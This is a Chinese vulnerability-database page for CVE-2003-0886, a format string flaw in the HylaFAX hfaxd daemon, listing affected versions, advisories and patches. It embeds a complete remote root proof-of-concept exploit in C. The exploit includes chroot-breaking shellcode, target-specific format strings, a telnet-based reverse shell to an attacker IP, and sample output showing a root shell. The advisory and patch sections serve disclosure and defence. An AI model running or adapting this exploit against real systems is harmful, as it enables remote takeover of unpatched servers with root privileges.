CVE-2003-0886
CVSS10.0
发布时间 :2003-12-01 00:00:00
修订时间 :2016-10-17 22:38:11
NMCOES    

[原文]Format string vulnerability in hfaxd for Hylafax 4.1.7 and earlier allows remote attackers to execute arbitrary code.


[CNNVD]Hylafax HFaxD未明格式串处理漏洞(CNNVD-200312-012)

        
        HylaFAX是一款企业级开放源代码收发传真程序。
        HylaFAX不正确处理用户提交的TSI字符串,远程攻击者可以利用这个漏洞进行拒绝服务攻击,或者可能以HylaFAX进程权限在系统上执行任意指令。
        Hylafax hfaxd在接收到TSI字符串,在日志记录之前没有进行充分检查,提交格式串的TSI字符串可导致faxgetty产生段错误,虽然接收协议限制TSI字符串为20个字符,不过仍旧存在可能以HylaFAX进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:hylafax:hylafax:4.1.3
cpe:/a:hylafax:hylafax:4.1.6
cpe:/a:hylafax:hylafax:4.1.5
cpe:/a:hylafax:hylafax:4.1.7
cpe:/a:hylafax:hylafax:4.1
cpe:/a:hylafax:hylafax:4.1.2
cpe:/a:hylafax:hylafax:4.1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0886
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0886
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-012
(官方数据源) CNNVD

- 其它链接及资源

http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000783
(UNKNOWN)  CONECTIVA  CLA-2003:783
http://marc.info/?l=bugtraq&m=106858898708752&w=2
(UNKNOWN)  BUGTRAQ  20031111 HylaFAX - Format String Vulnerability Fixed
http://www.debian.org/security/2003/dsa-401
(VENDOR_ADVISORY)  DEBIAN  DSA-401
http://www.mandriva.com/security/advisories?name=MDKSA-2003:105
(UNKNOWN)  MANDRAKE  MDKSA-2003:105
http://www.novell.com/linux/security/advisories/2003_045_hylafax.html
(UNKNOWN)  SUSE  SuSE-SA:2003:045

- 漏洞信息

Hylafax HFaxD未明格式串处理漏洞
危急 输入验证
2003-12-01 00:00:00 2005-10-20 00:00:00
远程  
        
        HylaFAX是一款企业级开放源代码收发传真程序。
        HylaFAX不正确处理用户提交的TSI字符串,远程攻击者可以利用这个漏洞进行拒绝服务攻击,或者可能以HylaFAX进程权限在系统上执行任意指令。
        Hylafax hfaxd在接收到TSI字符串,在日志记录之前没有进行充分检查,提交格式串的TSI字符串可导致faxgetty产生段错误,虽然接收协议限制TSI字符串为20个字符,不过仍旧存在可能以HylaFAX进程权限在系统上执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 安装者必须更改Shared Secret和WiFI密钥。
        厂商补丁:
        Conectiva
        ---------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Conectiva Patch hylafax-4.1.3-19097U90_1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/9/RPMS/hylafax-4.1.3-19097U90_1cl.i386.rpm
        Hylafax
        -------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Hylafax Upgrade hylafax-4.1.8.tar.gz
        ftp://ftp.hylafax.org/source/hylafax-4.1.8.tar.gz

- 漏洞信息 (23371)

Hylafax 4.1.x HFaxD Unspecified Format String Vulnerability (EDBID:23371)
linux remote
2003-11-10 Verified
0 Sebastian Krahmer
N/A [点击下载]
source: http://www.securityfocus.com/bid/9005/info

Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.

/*** Hylafax remote root PoC exploit
     (C) 2003 Sebastian Krahmer  <krahmer@cs.uni-potsdam.de>

        *** FOR EDUCATIONAL PURPOSES ONLY ****

The phrack 59 (www.phrack.org !) article about format strings
on the heap helped a lot. Thanks to gera, fozzy and juliano
for hints.


How to get the right n$ values from syslog:

Sep 29 05:16:22 linux HylaFAX[2704]: command: site trigger %350$x
Sep 29 05:16:22 linux HylaFAX[2704]: ??? bfffff24

So, %350$n is a good choice since a write would located on valid stack.

Sep 29 05:05:24 linux HylaFAX[2644]: command: site trigger %959$x
Sep 29 05:05:24 linux HylaFAX[2644]: ??? 4f464e49

At 0xbffff24 you find the value 0x4f464e49 via gdb, and
brute forcing %1$x to %1000$x shows that at %959$x (see syslog
output above) the value of the 0xbffff24 pointer can be found.
Thus we first write the GOT address we want to modify to 0xbffff24
via the %350$n and then using the value of *0xbffff24 (which is the
address of the GOT entry we want to modify) as a pointer again to
finally write the GOT entry.

strace -i -e raw=read -etrace=read  -f -p 3293 2>&1

[pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x400
                               ^^^^^^^^^ network input buffer

[pid  3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x9

(gdb) x/100x 0x808c6b8
...
0x808c6f8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c708:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c718:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c728:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c738:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c748:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c758:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c768:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c778:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c788:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c798:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7a8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7b8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0x808c7c8:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
...

0x804c1f0 <fprintf>:    jmp    *0x80835e0
(gdb) x/i 0x804c1f0

Thus, some value like 0x808c6b8 should be written to the address 0x80835e0.
This gives the format strings:

 site trigger %%134755804d%%350$n\n"
                ^^^^^^^^^ This is the GOT entry minus 4 (0x80835e0-4)

 site trigger %%%ud%%%d$n\n",
                 ^^ here the address of the buffer holding the shellcode
                    is palced i.e. 0x808c780. This is variable in the
                    target struct.


The 0th target (-t 0) is a debug target which makes hfaxd sending all
the fine stuff to syslogd. Then you can look which n$ are usable.

Now for the shellcode: we need a chroot breakign one. It mounts proc
to the chroot cage, modifies modprobe path via it and triggers a
modprobe call by kernel via an invalid ELF file. The called
"modprobe" is indeed a back-connecting shellscript. Outta.


<--- shellcode -->
; nasm -f elf code.s

GLOBAL cbegin
GLOBAL cend

cbegin:
	xor eax, eax
	mov al, 23
	xor ebx, ebx
	int 0x80		; setuid(0)

	jmp short proc1

; mount proc FS

mountit:
	pop ebx
	xor ecx, ecx
	mov [ebx+4], cl		; terminate string with \0
	xor eax, eax
	mov al, 39
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; mkdir("proc", 0755);

	mov ecx, ebx
	mov edx, ebx
	xor esi, esi
	xor edi, edi
	xor eax, eax
	mov al, 21		; mount("proc", "proc", "proc", 0, NULL)
	int 0x80

	jmp short pshell1

; open connect shell script
op:
	pop ebx
	xor eax, eax
	mov [ebx+1], al		; terminate string with \0
	mov al, 8
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; creat("p", 0777);	


	jmp short connect1

proc1:	
	jmp short proc
; write it 
wp:
	pop ecx
	mov ebx, eax
	dec byte [ecx+9]	; create a '\n'
	mov al, 4
	xor edx, edx
	mov dl, 68
	int 0x80		; write("#!/bin/sh...", 68)

	mov al, 6
	int 0x80		; close

	jmp short elfp

; open weird ELF file to trigger modprobe
oelf:
	pop ebx
	xor eax, eax
	mov [ebx+3], al		; terminate string with \0
	mov al, 8
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80		; creat("elf", 0777);	

	jmp short elfh		;

; write weird ELF
welf:	pop ecx
	mov ebx, eax		; fd to ebx
	xor edx, edx
	mov dl, 20
	mov al, 4
	int 0x80		; write()

	mov al, 6
	int 0x80		; close weird ELF

	jmp short modp

pshell1:
	jmp short pshell

om:
	pop ebx
	xor eax, eax
	mov al, 5
	xor ecx, ecx
	mov [ebx+24], cl
	inc cl
	int 0x80		; open("...modprobe", 1)

	jmp short mpath

wm:
	pop ecx
	mov ebx, eax		; fd to ebx
	mov al, 4
	xor edx, edx
	mov dl, 16
	int 0x80		; write(fd, "/var/spool/fax/p", 16)
	
	mov al, 6
	int 0x80		; close


	mov al, 11
	xor ecx, ecx

	jmp short elfp2	

connect1:
	jmp short connect

exec:
	pop ebx
	mov [ebx+3], cl
	push ecx
	push ebx
	mov ecx, esp
	xor edx, edx
	int 0x80		; execve("elf",...)


proc:
	call mountit
	db "proc."

elfp:				; ELF path
	call oelf
	db "elf."

elfh:				; ELF header triggering modprobe
	call welf
	db 0x45, 0x7f, 0x46, 0x4c, 0x01, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1
	db 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x22, 0x22

mpath:
	call wm
	db "/var/spool/fax/p"

pshell: 
	call op
	db "p."

modp:
	call om
	db "proc/sys/kernel/modprobe."

elfp2:
	call exec
	db "elf."

connect:
	call wp
	db "#!/bin/sh",0xb
;	db "telnet 127.000.000.001 3128|sh|telnet 127.000.000.001 8080"
cend:

<-- shellcode -->


$ ./a.out -h 127.0.0.1 -t 1 -b 192.168.0.1

>>> Hylafax exploit <<<

> Attempting to exploit hylafax-4.1.5-43 on 127.0.0.1:(4559)

site trigger %134755804d%350$n
site trigger %134793088d%967$n

.....
Connected!
Trying 192.168.000.001...
Connected to 192.168.000.001.
Escape character is '^]'.
Linux linux 2.4.20-4GB #1 Mon Mar 17 17:54:44 UTC 2003 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
 12:29:38 up  9:07,  6 users,  load average: 2.25, 2.10, 2.23
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
stealth  tty2      03:23   48:24   0.73s  0.05s /usr/X11R6/bin/xinit4
stealth  pts/2     11:42    1:41   0.61s  1.06s xterm
stealth  pts/1     11:42    1.00s  4.50s  0.01s ./a.out -h 127.0.0.1 -t 1 -b 19
stealth  pts/3     11:42    6.00s  0.66s  3.08s xterm
stealth  pts/4     12:24    2:52   0.27s  0.30s xterm

In order to work, the config need a debug level of at least 2:

ServerTracing:          0x002

in hfaxd.conf.

***/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>



/* Shellcodes. 
 */
unsigned char x86_sigtrap[] = 
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
	"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc";


unsigned char x86_lnx_create_blub[] =
	"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
	"\x31\xc0\xb0\x08\xeb\x0e\x5b\x31\xc9\x88\x4b\x04"
	"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xed\xff\xff"
	"\xff\x62\x6c\x75\x62\x31\xc0\x40\xcd\x80";



unsigned char x86_lnx_proc_chroot_backconnect[] =
	"\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x34\x5b\x31"
	"\xc9\x88\x4b\x04\x31\xc0\xb0\x27\x31\xc9\x66\xb9"
	"\xff\x01\xcd\x80\x89\xd9\x89\xda\x31\xf6\x31\xff"
	"\x31\xc0\xb0\x15\xcd\x80\xeb\x4b\x5b\x31\xc0\x88"
	"\x43\x01\xb0\x08\x31\xc9\x66\xb9\xff\x01\xcd\x80"
	"\xeb\x60\xeb\x6c\x59\x89\xc3\xfe\x49\x09\xb0\x04"
	"\x31\xd2\xb2\x44\xcd\x80\xb0\x06\xcd\x80\xeb\x62"
	"\x5b\x31\xc0\x88\x43\x03\xb0\x08\x31\xc9\x66\xb9"
	"\xff\x01\xcd\x80\xeb\x59\x59\x89\xc3\x31\xd2\xb2"
	"\x14\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xeb\x7d\xeb"
	"\x74\x5b\x31\xc0\xb0\x05\x31\xc9\x88\x4b\x18\xfe"
	"\xc1\xcd\x80\xeb\x4f\x59\x89\xc3\xb0\x04\x31\xd2"
	"\xb2\x10\xcd\x80\xb0\x06\xcd\x80\xb0\x0b\x31\xc9"
	"\xeb\x74\xeb\x7b\x5b\x88\x4b\x03\x51\x53\x89\xe1"
	"\x31\xd2\xcd\x80\xe8\x59\xff\xff\xff\x70\x72\x6f"
	"\x63\x2e\xe8\x99\xff\xff\xff\x65\x6c\x66\x2e\xe8"
	"\xa2\xff\xff\xff\x45\x7f\x46\x4c\x01\x01\x01\x01"
	"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x02\x22\x22"
	"\xe8\xac\xff\xff\xff\x2f\x76\x61\x72\x2f\x73\x70"
	"\x6f\x6f\x6c\x2f\x66\x61\x78\x2f\x70\xe8\x3a\xff"
	"\xff\xff\x70\x2e\xe8\x80\xff\xff\xff\x70\x72\x6f"
	"\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c"
	"\x2f\x6d\x6f\x64\x70\x72\x6f\x62\x65\x2e\xe8\x89"
	"\xff\xff\xff\x65\x6c\x66\x2e\xe8\x20\xff\xff\xff"
	"\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0b";


unsigned char back_ip[128];

struct {
	char *dist, *package, *fmt, *code;
	u_int16_t n1, n2;
	u_int32_t nbuf;
} targets[] = {
	{ "debug", "debug", "debug", "debug", 0, 1, 0
	},
	{ "SuSE Linux 8.2",
	  "hylafax-4.1.5-43",
	  "site trigger %%134755804d%%350$n\n"
	  "site trigger %%%ud%%%d$n\n", // 350->bfffff24, 963->4f464e49
	  x86_lnx_proc_chroot_backconnect,
	  950, 999,	/* start/stop values for bruteforcing 2nd n$ */
	  0x808c780
	},
	{ "SuSE Linux 8.1",
	  "hylafax-4.1.3-32",
	  "site trigger %%134748344d%%334$n\n"//0x804c1d4, *0x80818bc
	  "site trigger %%%ud%%%d$n\n", // 334->bfffff24, 947->4f464e49
	  x86_lnx_proc_chroot_backconnect,
	  940, 999,
	  0x808aa00 
	}
	
};

int verbose = 0;

int list_targets()
{
	int i;
	for (i = 0; i < sizeof(targets)/sizeof(targets[0]); ++i) {
		printf("\n%d: %s / %s\n", i, targets[i].dist, targets[i].package);
	}
	return 0;
}


void die(const char *s)
{
	perror(s);
	exit(errno);
}


int writen(int fd, const void *buf, size_t len)
{
	int o = 0, n;

	while (len > 0) {
		if ((n = write(fd, buf+o, len)) < 0)
			return n;
		len -= n;
		o += n;
	}
	return o;
}

/* Simple tcp_connect(). Disables Nagle.
 */
int tcp_connect(const char *host, u_short port)
{
	int sock, one = 1, len = sizeof(one);
	struct hostent *he;
	struct sockaddr_in sin;

	if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
		die("sock");

	if ((he = gethostbyname(host)) == NULL) {
		herror("gethostbyname");
		exit(EXIT_FAILURE);
	}

	memset(&sin, 0, sizeof(sin));
	memcpy(&sin.sin_addr, he->h_addr, he->h_length);
	sin.sin_family = AF_INET;
	sin.sin_port = port == 0 ? htons(4559):htons(port);

	if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
		close(sock);
		return -1;
	}
	if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)
		die("setsockopt");

	return sock;
}


void usage(const char *s)
{
	fprintf(stderr, "\nHylafucks remote hylafax PoC exploit\n\n" 
	                "Usage: %s [-u user] [-p pass] <-h host> [-p port] [-v] [-t target] <-b connect IP>\n\n"
	                "\t-u user:\tthe user to login as (default 'foo')\n"
	                "\t-p pass:\tthe password (default 'bar', note: user/pass are not always\n"
	                "\t\t\trequired on all setups\n"
	                "\t-t target:\tspecifies remote package/OS\n"
	                "\t-b IP:\t\tthe IP for the back-connect\n\n"
	                "use -t -1 for a target list. 0 is debug target; 1 is default.\n"
	                "Port 3128 and 8080 are used on local machine for the backconnect.\n\n", s);
	exit(1);
}


void wait4shell(int p)
{
	int	l, s1, s2, a1, a2;
	char	buf[512];
	fd_set	rfds;
	char *cmd = "unset HISTFILE;uname -a;id;w\n";
	struct sockaddr_in p8080, p3128;

	memset(&p8080, 0, sizeof(p8080));
	memset(&p3128, 0, sizeof(p3128));

	/* Open 2 ports: 3128 and 8080 */
	p8080.sin_family = AF_INET;
	p8080.sin_addr.s_addr = INADDR_ANY;
	p8080.sin_port = htons(8080);
	p3128.sin_family = AF_INET;
	p3128.sin_addr.s_addr = INADDR_ANY;
	p3128.sin_port = htons(3128);

	if ((s1 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
		die("wait4shell::socket/1");
	if ((s2 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
		die("wait4shell::socket/2");
	if (bind(s1, (struct sockaddr*)&p3128, sizeof(p3128)) < 0)
		die("wait4shell::bind/1");
	if (bind(s2, (struct sockaddr*)&p8080, sizeof(p8080)) < 0)
		die("wait4shell::bind/2");

	if (listen(s1, 1) < 0)
		die("wait4shell::listen/1");
	if (listen(s2, 1) < 0)
		die("wait4shell::listen/2");

	if ((a1 = accept(s1, NULL, 0)) < 0)
		die("wait4shell::accept/1");
	if ((a2 = accept(s2, NULL, 0)) < 0)
		die("wait4shell::accept/1");

	printf("\nConnected!\n");
	kill(p, SIGKILL);

	if (writen(a1, cmd, strlen(cmd)) < 0)
		die("wait4shell::write");

	while (1) {
		FD_ZERO(&rfds);
		FD_SET(0, &rfds);
		FD_SET(a1, &rfds);
		FD_SET(a2, &rfds);

		select(a2 + 1, &rfds, NULL, NULL, NULL);
		if (FD_ISSET(0, &rfds)) {
			l = read(0, buf, sizeof (buf));
			if (l <= 0)
				die("wait4shell::read");
			writen(a1, buf, l);
		}
		if (FD_ISSET(a2, &rfds)) {
			l = read(a2, buf, sizeof (buf));
			if (l == 0) {
				printf("connection closed by foreign host.\n");
				exit(EXIT_FAILURE);
			} else if (l < 0)
				die("wait4shell::read remote");
			writen(1, buf, l);
		}
	}
}


int expect_reply(int peer, const char *reply, char *buf, size_t blen)
{
	int done = 0, i = 0;

	memset(buf, 0, blen);
	while (!done) {
		if (i >= blen)
			die("Nuts! Too much response.");
		if (read(peer, &buf[i], 1) != 1)
			die("expect_reply::read");
		++i;
		if (buf[i-1] == '\n') {
			if (verbose)
				printf("[\n%s]\n", buf);
			if (strstr(buf, reply) != NULL)
				done = 1;
			else {
				memset(buf, 0, blen);
				i = 0;
			}
		}
	}
	return 0;
}


int send_overflow(char *host, int port, int target, char *user, char *pass)
{
	char buf[1024], *crash = NULL, bip[128];
	unsigned int i = 0;
	int peer = -1, r = 0;
	fd_set rset;
	struct timeval tv;


	for (i = targets[target].n1; i < targets[target].n2; ++i) {
		close(peer);
		peer = tcp_connect(host, port);
		if (peer < 0)
			die("send_overflow::tcp_connect");
		expect_reply(peer, "220", buf, sizeof(buf));

		/* build shellcode with back-connect IP; reserve space first */
		crash = malloc(strlen(targets[target].code) +
		               sizeof("telnet 127.000.000.001 3128|sh|"
 		                      "telnet 127.000.000.001 8080"));
		snprintf(bip, sizeof(bip), "telnet %s 3128|sh|telnet %s 8080",
			back_ip, back_ip);
		sprintf(crash, "%s%s", targets[target].code, bip);

		memset(buf, 0x90, sizeof(buf));

		/* ehm... */
		strcpy(&buf[sizeof(buf)-1]-strlen(crash)-1, crash);
		free(crash);

		buf[sizeof(buf)-1] = '\n';
		if (writen(peer, buf, sizeof(buf)) < 0)
			die("send_overflow::writen/shellcode");
		expect_reply(peer, "500", buf, sizeof(buf));
		expect_reply(peer, "500", buf, sizeof(buf));

		/* USER/PASS epilogue */
		snprintf(buf, sizeof(buf), "user %s\n", user);
		if (writen(peer, buf, strlen(buf)) < 0)
			die("send_overflow::writen/user");
		expect_reply(peer, "\n", buf, sizeof(buf));
		snprintf(buf, sizeof(buf), "pass %s\n", pass);
		if (writen(peer, buf, strlen(buf)) < 0)
			die("writen/pass");
		expect_reply(peer, "\n", buf, sizeof(buf));
	
		if (strcmp(targets[target].dist, "debug") == 0) {
			read(0,buf,1);
			for (i = 1; i < 1000; ++i) {
				sprintf(buf, "site trigger %%%d$x\n", i);
				writen(peer, buf, strlen(buf));
				usleep(30000);
			}
			break;
		}


		snprintf(buf, sizeof(buf), targets[target].fmt,
		         targets[target].nbuf, i);

		if (writen(peer, buf, strlen(buf)) < 0)
			die("send_overflow::read");
		printf("%s\n", buf);

		while (1) {
			FD_ZERO(&rset);
			FD_SET(peer, &rset);
			tv.tv_sec = 1;
			tv.tv_usec = 0;
			r = select(peer+1, &rset, NULL, NULL, &tv);
			if (!FD_ISSET(peer, &rset)) {
				printf(".");
				continue;
			}

			r = read(peer, buf, sizeof(buf));
			break;
		}
		printf("\n");
	}


	return peer;
}


int main(int argc, char **argv)
{
	int peer = -1, c = 0, target = 1, port = 0,
	    d1 = 0, d2 = 0, d3 = 0, d4 = 0, p = 0;
	char *host = NULL, *back = NULL, *user = "foo", *pass = "bar";


	while ((c = getopt(argc, argv, "h:p:t:vb:u:P:")) != -1) {
		switch (c) {
		case 'h':
			host = strdup(optarg);
			break;
		case 'p':
			port = atoi(optarg);
			break;
		case 't':
			target = atoi(optarg);
			break;
		case 'v':
			verbose = 1;
			break;
		case 'b':
			back = strdup(optarg);
			break;
		case 'u':
			user = strdup(optarg);
			break;
		case 'P':
			pass = strdup(optarg);
			break;
		default:
			usage(argv[0]);
		}
	}

	printf("\n>>> Hylafax exploit <<<\n\n");
	
	if (target == -1) {
		list_targets();
		return 0;
	}

	if (!host || !back)
		usage(argv[0]);

	if (target >= sizeof(targets)/sizeof(targets[0])) {
		fprintf(stderr, "Invalid target!\n");
		return 1;
	}

	/* normalize IP */
	sscanf(back, "%d.%d.%d.%d", &d1, &d2, &d3, &d4);
	sprintf(back_ip, "%03d.%03d.%03d.%03d", d1, d2, d3, d4);

	if (verbose)
		printf("Normalized back-connect IP: %s\n", back_ip);


	setbuffer(stdout, NULL, 0);

       printf("> Attempting to exploit %s on %s:(%d)\n\n",
		targets[target].package, host, port?port:4459);

	if (target != 0) {
		if ((p = fork()) > 0)
			wait4shell(p);
	}

	peer = send_overflow(host, port, target, user, pass);

	fprintf(stderr, "Failed to exploit '%s'\n", host);
	return 0;
}


		

- 漏洞信息

2794
HylaFAX hfaxd Format String
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity

- 漏洞描述

A format string bug in HylaFAX versions 4.1 and earlier could allow a local attacker to gain root access when user input is supplied to the hfaxd binary and syslog() is called. By default, the hfaxd binary is installed setuid root with 'Everyone' access, which allows the attacker to gain root access to the system.

- 时间线

2003-11-11 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 4.1.8 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Hylafax HFaxD Unspecified Format String Vulnerability
Input Validation Error 9005
Yes No
2003-11-10 12:00:00 2009-07-12 12:56:00
This vulnerability was discovered and disclosed by the SuSE Security Team.

- 受影响的程序版本

Hylafax Hylafax 4.1.7
+ S.u.S.E. Linux Personal 9.0
Hylafax Hylafax 4.1.6
Hylafax Hylafax 4.1.5
+ S.u.S.E. Linux Personal 8.2
Hylafax Hylafax 4.1.3
+ Conectiva Linux 9.0
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ S.u.S.E. Linux 8.1
Hylafax Hylafax 4.1.2
Hylafax Hylafax 4.1.1
+ Debian Linux 3.0
Hylafax Hylafax 4.1
- FreeBSD FreeBSD 4.4
+ MandrakeSoft Corporate Server 1.0.1
+ Mandriva Linux Mandrake 8.2 ppc
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ S.u.S.E. Linux 8.0 i386
+ S.u.S.E. Linux 8.0
+ S.u.S.E. Linux 7.3 sparc
+ S.u.S.E. Linux 7.3 ppc
+ S.u.S.E. Linux 7.3 i386
+ S.u.S.E. Linux 7.3
Hylafax Hylafax 4.1.8

- 不受影响的程序版本

Hylafax Hylafax 4.1.8

- 漏洞讨论

Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.

- 漏洞利用

The following proof of concept exploit has been supplied:

- 解决方案


SuSE have released an advisory (SuSE-SA:2003:045) and fixes to address this issue on SuSE platforms. Users who are potentially affected by this issue are advised to download and install the applicable fixes as soon as possible. Further details regarding obtaining and applying fixes can be found in the referenced advisory.

Mandrake has released advisory MDKSA-2003:105 containing fix information for this issue. See the attached advisory for links to fixes.

Conectiva has released advisory CLA-2003:783 to address this issue.

Debian has released an advisory (DSA 401-1) and fixes to address this issue. See the referenced advisory for links to updated packages.

Gentoo has released an advisory that includes fixes to address this issue. Fixes can be applied with the following commands:

emerge --sync
emerge '>=net-misc/hylafax-4.1.8'
emerge clean

Hylafax has also released version 4.1.8 which addresses this issue.


Hylafax Hylafax 4.1

Hylafax Hylafax 4.1.1

Hylafax Hylafax 4.1.2

Hylafax Hylafax 4.1.3

Hylafax Hylafax 4.1.5

Hylafax Hylafax 4.1.6

Hylafax Hylafax 4.1.7

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站